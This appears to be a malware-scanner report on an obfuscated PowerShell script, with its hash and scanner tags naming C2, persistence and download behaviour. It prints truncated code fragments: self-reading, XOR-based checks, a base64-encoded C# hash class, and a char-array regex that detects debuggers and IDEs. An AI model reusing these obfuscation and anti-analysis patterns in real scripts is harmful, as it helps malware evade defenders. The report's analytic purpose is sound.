Suspicious ^80% Download

d-56364130-1079Ef-f.ps1

Obfuscated C2, persistence, download

PowerShell -EncodedCommand payload (327 chars decoded) at offset 0x7f3PowerShell char array obfuscation

SHA-2568f8239a8b0e30eca06fce80fbf744a596d3a74bbe53f3a14d26e090bd4541397

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₂(As₂C₂)H₆(Cm₆CrDb₄F₂Os₂Po₂)Md₂Th

Evidence

.NET reads text file lines 14–21

8…  {
      $p = $MyInvocation.MyCommand.Path
      if (-not $p) { $p = $PSCommandPath }
      if (-not $p) { return }
      if (Test-Path -LiteralPath $p) {
          $t = [System.IO.File]::ReadAllText($p)
          $t = [regex]::Replace([string]$t, '\r\n|\n\r|\r', "`n")
          $t = [regex]::Replace([string]$t, '[ \t]+(? …

Source references XOR syntax line 23

23:120… 26L - 1993L)) + 3414L) - 3414L) + 495L + 39L) - 39L - 495L)))) -bxor ([int]($fn * ([int]([int]((((((163L) + (3299L - 3299L))) + 4036L + 906L) - 906L - 4036L)))))) -bxor ([int](([int]([int](((((((0 …

Encoded content decoded: base64 lines 31–35

3…           if (-not ('PY9C8ajdBp' -as [type])) {
              Add-Type -TypeDefinition ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cHVibGljIHN0YXRpYyBjbGFzcyBQWTlDOGFqZEJwIHsgcHVibGljIHN0YXRpYyBpbnQgRnF1MWQoc3RyaW5nIGJvZHksIHVpbnQgc2VlZCkgeyB1aW50IGggPSBzZWVkOyB1bmNoZWNrZWQgeyBmb3IgKGludCBpID0gMDsgaSA8IGJvZHkuTGVuZ3RoOyBpKyspIHsgaCBePSBib2R5W2ldOyBoICo9IDE2Nzc3NjE5dTsgfSB9IHJldHVybiAoaW50KShoICYgMHg3RkZGRkZGRnUpOyB9IH0=')))
          }
          $live = [PY9C8ajdBp]::Fqu1d([string]$body, [uint32]$seed)
          if ((([int]$live -bxor ([in …

Uses Get-CimInstance cmdlet lines 146–149

20… :Max(714, 844))
 }
}
149if (-not (-not ((& { try { $_GbOyhgR1 = Get-CimInstance -ClassName Win32_Process -Filter ('ProcessId='+$PID) -ErrorAction SilentlyContinue; if (-not ${_GbOyhgR1}) { ((-not 1) -or (-not 1)) } else { ${QdPTDwOd …

PowerShell char array obfuscation lines 149–156

149:297… entProcessId) -ErrorAction SilentlyContinue; [bool]($QdPTDwOd2hGnZJl -and ((& { $x8c688fe70 = ((-join [char[]]@(40,63,105,41,94,40,100,101,118,101,110,118,124,87,68,69,120,112,114,101,115,115,124,112,111,119,101,114,115,104,101,108,108,95,105,115,101,124,68,98,103,88,124,67,111,100,101,41,92,46,101,120,101,36))); try {
150     [void]([Math]::Abs(-882))
151} finally {
⋯5 lines